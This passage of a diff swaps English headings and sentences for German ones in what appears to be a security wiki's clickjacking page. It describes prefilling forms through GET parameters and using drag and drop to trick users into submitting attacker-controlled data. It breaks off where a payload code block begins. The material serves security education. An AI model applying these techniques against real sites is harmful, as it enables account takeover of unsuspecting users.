Informationen, Geldtransfers oder dem Online-Kauf von Produkten. -### Prepopulate forms trick +### Vorbefüllung von Formularen Manchmal ist es möglich, den **Wert von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite zu füllen**. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten zu füllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche "Absenden" drückt. -### Populate form with Drag\&Drop +### Formular mit Drag\&Drop ausfüllen -Wenn Sie möchten, dass der Benutzer ein **Formular ausfüllt**, aber ihn nicht direkt bitten möchten, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das Sie kennen) zu schreiben, können Sie ihn einfach bitten, etwas zu **Drag\&Drop**, das Ihre kontrollierten Daten eingibt, wie in [**diesem Beispiel**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +Wenn Sie möchten, dass der Benutzer ein **Formular ausfüllt**, aber ihn nicht direkt bitten möchten, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das Sie kennen) einzugeben, können Sie ihn einfach bitten, etwas zu **Drag\&Drop** zu ziehen, das Ihre kontrollierten Daten eingibt, wie in [**diesem Beispiel**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). -### Basic Payload +### Grundlegende Nutzlast ```markup